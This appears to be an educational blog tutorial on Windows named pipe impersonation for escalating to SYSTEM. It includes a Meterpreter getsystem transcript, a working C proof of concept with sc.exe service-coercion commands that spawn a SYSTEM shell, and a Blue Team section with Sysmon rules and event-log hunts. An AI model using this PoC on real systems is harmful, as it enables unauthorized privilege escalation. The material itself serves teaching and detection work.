Disclaimer: This article is for education and authorized security testing only. Only run these techniques against systems you own or have explicit, written permission to test. Unauthorized access to computer systems is illegal in most jurisdictions.
Introduction / Overview
If you have ever popped a shell on Windows and typed getsystem in Meterpreter, you have almost certainly used named pipe impersonation without thinking about the machinery underneath. The technique lets a process that already holds the SeImpersonatePrivilege token privilege escalate from a service account (or an administrator's medium-integrity context) to NT AUTHORITY\SYSTEM.
In this article you will learn exactly how the ImpersonateNamedPipeClient Win32 API turns a connecting client into a stealable token, why SeImpersonatePrivilege is the linchpin, and how to reproduce the technique with both Meterpreter and a minimal proof of concept. We close with a Blue Team section of equal weight, because understanding detection is what separates a professional from a script kiddie.
How It Works / Background
A named pipe is an inter-process communication (IPC) object exposed at \\.\pipe\<name>. One process acts as the pipe server (it calls CreateNamedPipe), and one or more clients connect to it (CreateFile / WaitNamedPipe).
The key behavior is this: when a client writes to a named pipe, the server can call ImpersonateNamedPipeClient. This causes the server thread to temporarily adopt the security context of the client. If a high-privilege account — say SYSTEM — connects to your pipe, your server thread now holds a token impersonating SYSTEM.
BOOL ImpersonateNamedPipeClient(HANDLE hNamedPipe);
There is one critical gate: the impersonation level the server obtains is bounded by the client's choice and the server's privileges. To impersonate a client at the SecurityImpersonation level (the level needed to actually act as the client locally), the server process must hold SeImpersonatePrivilege. Service accounts such as LOCAL SERVICE, NETWORK SERVICE, IIS APPPOOL\*, and MSSQL$* all hold this privilege by default — which is why web/database exploitation so often ends in a getsystem-style pivot.
The attack reduces to three steps:
- Create a named pipe server that you control.
- Coerce a
SYSTEM(or higher-privileged) process into connecting and writing one byte to that pipe. - Call
ImpersonateNamedPipeClient, thenOpenThreadTokenandDuplicateTokenExto create a primary token, and finallyCreateProcessWithTokenWto spawn aSYSTEMprocess.
How do you coerce SYSTEM to connect? The classic Meterpreter trick is to start a service via the Service Control Manager (which runs as SYSTEM) whose command line connects to your pipe, e.g. cmd /c echo data > \\.\pipe\<name>.
Prerequisites / Lab Setup
- A Windows 10/11 or Windows Server VM (a throwaway lab box).
- A starting context that holds
SeImpersonatePrivilege. Verify with:
whoami /priv | Select-String SeImpersonate
If you see SeImpersonatePrivilege with state Enabled or Disabled (it can be enabled programmatically), you are a candidate. A normal unprivileged user does not hold it — but service accounts do.
- For the Meterpreter walkthrough: a Kali host with
metasploit-frameworkand a session already established on the target.
If you have landed as a service account via, say, an SQL injection to RCE, this is exactly where the "Potato" family of exploits also lives — see Abusing SeImpersonatePrivilege with the Potato Exploits for the DCOM/RPC coercion variants.
Attack Walkthrough / PoC
Option A: Meterpreter getsystem
The fastest path. From a Meterpreter session running as a privileged service account:
meterpreter > getuid
Server username: IIS APPPOOL\DefaultAppPool
meterpreter > getprivs
...
SeImpersonatePrivilege
meterpreter > getsystem -t 1
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
getsystem exposes several techniques via the -t flag. Technique 1 is the named-pipe-impersonation method described here; technique 3 is a token-duplication variant. Behind the scenes Meterpreter creates a pipe, registers a service through the SCM that writes to it, and impersonates the resulting SYSTEM client.
Option B: Minimal C proof of concept
To understand the API flow, here is the core of a standalone PoC. It assumes you can get a SYSTEM process to connect (e.g. by creating a service):
HANDLE hPipe = CreateNamedPipe(
L"\\\\.\\pipe\\yunolay",
PIPE_ACCESS_DUPLEX,
PIPE_TYPE_BYTE | PIPE_WAIT,
1, 0, 0, 0, NULL);
ConnectNamedPipe(hPipe, NULL); // wait for SYSTEM to connect
BYTE buf[16];
DWORD read;
ReadFile(hPipe, buf, sizeof(buf), &read, NULL); // client must write first
ImpersonateNamedPipeClient(hPipe); // now the thread is SYSTEM
HANDLE hThreadTok, hPrimary;
OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, FALSE, &hThreadTok);
DuplicateTokenEx(hThreadTok, TOKEN_ALL_ACCESS, NULL,
SecurityImpersonation, TokenPrimary, &hPrimary);
STARTUPINFO si = { sizeof(si) };
PROCESS_INFORMATION pi;
CreateProcessWithTokenW(hPrimary, 0, L"C:\\Windows\\System32\\cmd.exe",
NULL, 0, NULL, NULL, &si, &pi);
Trigger the SYSTEM connection by registering a service that writes to the pipe:
sc.exe create yunolaysvc binPath= "cmd.exe /c echo x > \\.\pipe\yunolay"
sc.exe start yunolaysvc
The SCM launches binPath as SYSTEM, cmd.exe opens your pipe and writes a byte, your server impersonates it, and you spawn a SYSTEM shell. Clean up the service with sc.exe delete yunolaysvc.
Note:
RpcImpersonateClientand the Potato exploits achieve the same end via RPC/DCOM coercion instead of a service, which avoids the noisy SCM service creation. The token-theft tail (DuplicateTokenEx→CreateProcessWithTokenW) is identical.
Attack Flow Diagram

Text summary: the attacker stands up a pipe, tricks the SCM into running a process as SYSTEM that connects and writes to that pipe, then impersonates the SYSTEM client's token to spawn a SYSTEM process.
Detection & Defense (Blue Team)
Named pipe impersonation is a legitimate OS feature, so the goal is to detect the surrounding behavior and remove the preconditions.
1. Audit and minimize SeImpersonatePrivilege. The entire technique collapses if the compromised account lacks this privilege. Review which custom service accounts hold SeImpersonatePrivilege and SeAssignPrimaryTokenPrivilege. Do not grant them to accounts that do not require them. Run least-privileged services as virtual accounts and apply the principle of least privilege to IIS app pools and SQL service accounts.
2. Hunt for anomalous named pipes. Sysmon Event ID 17 (PipeCreated) and 18 (PipeConnected) log pipe activity. Suspicious, randomly named pipes created by processes that are not normal IPC servers are a strong signal. Cobalt Strike's default pipe naming (\msagent_##, \postex_####) and Meterpreter-style pipes are well documented.
<RuleGroup name="" groupRelation="or">
<PipeEvent onmatch="include">
<PipeName condition="contains">postex</PipeName>
<PipeName condition="contains">msagent</PipeName>
</PipeEvent>
</RuleGroup>
3. Watch the SCM for transient service creation. The classic getsystem path creates a short-lived service. Monitor Security Event ID 4697 (a service was installed) and System Event ID 7045 (service installed) for services with binPath containing cmd.exe, echo, \\.\pipe\, or Base64/PowerShell. A service created and deleted within seconds is highly suspicious.
Get-WinEvent -FilterHashtable @{LogName='System'; Id=7045} |
Where-Object { $_.Message -match 'pipe|cmd.exe|powershell' }
4. Token-manipulation telemetry. EDR products flag CreateProcessWithTokenW / CreateProcessAsUser calls where the parent is a service account but the child runs as SYSTEM with a mismatched logon session. Correlate process creation (Event ID 4688 / Sysmon 1) where a non-SYSTEM parent spawns a SYSTEM child.
5. Patch the coercion vectors. Many Potato variants rely on specific bugs (e.g. RoguePotato's RPC redirection, JuicyPotatoNG, PrintSpoofer's spooler RPC). Keep systems patched and consider disabling the Print Spooler on servers that do not need it.
This maps to MITRE ATT&CK T1134.001 (Access Token Manipulation: Token Impersonation/Theft) and T1134.002 (Create Process with Token). For broader token tradecraft see Windows Access Token Manipulation Explained.
Conclusion
Named pipe impersonation is a beautifully simple consequence of a feature Windows needs for legitimate client/server IPC. Whenever an attacker controls a process holding SeImpersonatePrivilege, they can stand up a pipe, coerce a SYSTEM client to connect, and ride ImpersonateNamedPipeClient straight to NT AUTHORITY\SYSTEM. Defenders should treat SeImpersonatePrivilege as a crown-jewel privilege, instrument Sysmon pipe and SCM events, and patch the coercion primitives that make the technique trivial.
References
- MITRE ATT&CK — T1134.001 Token Impersonation/Theft: https://attack.mitre.org/techniques/T1134/001/
- MITRE ATT&CK — T1134.002 Create Process with Token: https://attack.mitre.org/techniques/T1134/002/
- Microsoft Docs — ImpersonateNamedPipeClient: https://learn.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-impersonatenamedpipeclient
- Microsoft Docs — SeImpersonatePrivilege constant: https://learn.microsoft.com/en-us/windows/win32/secauthz/privilege-constants
- HackTricks — Named Pipe Client Impersonation / SeImpersonate abuse: https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation
- Sysmon configuration and pipe events: https://learn.microsoft.com/en-us/sysinternals/downloads/sysmon



Comments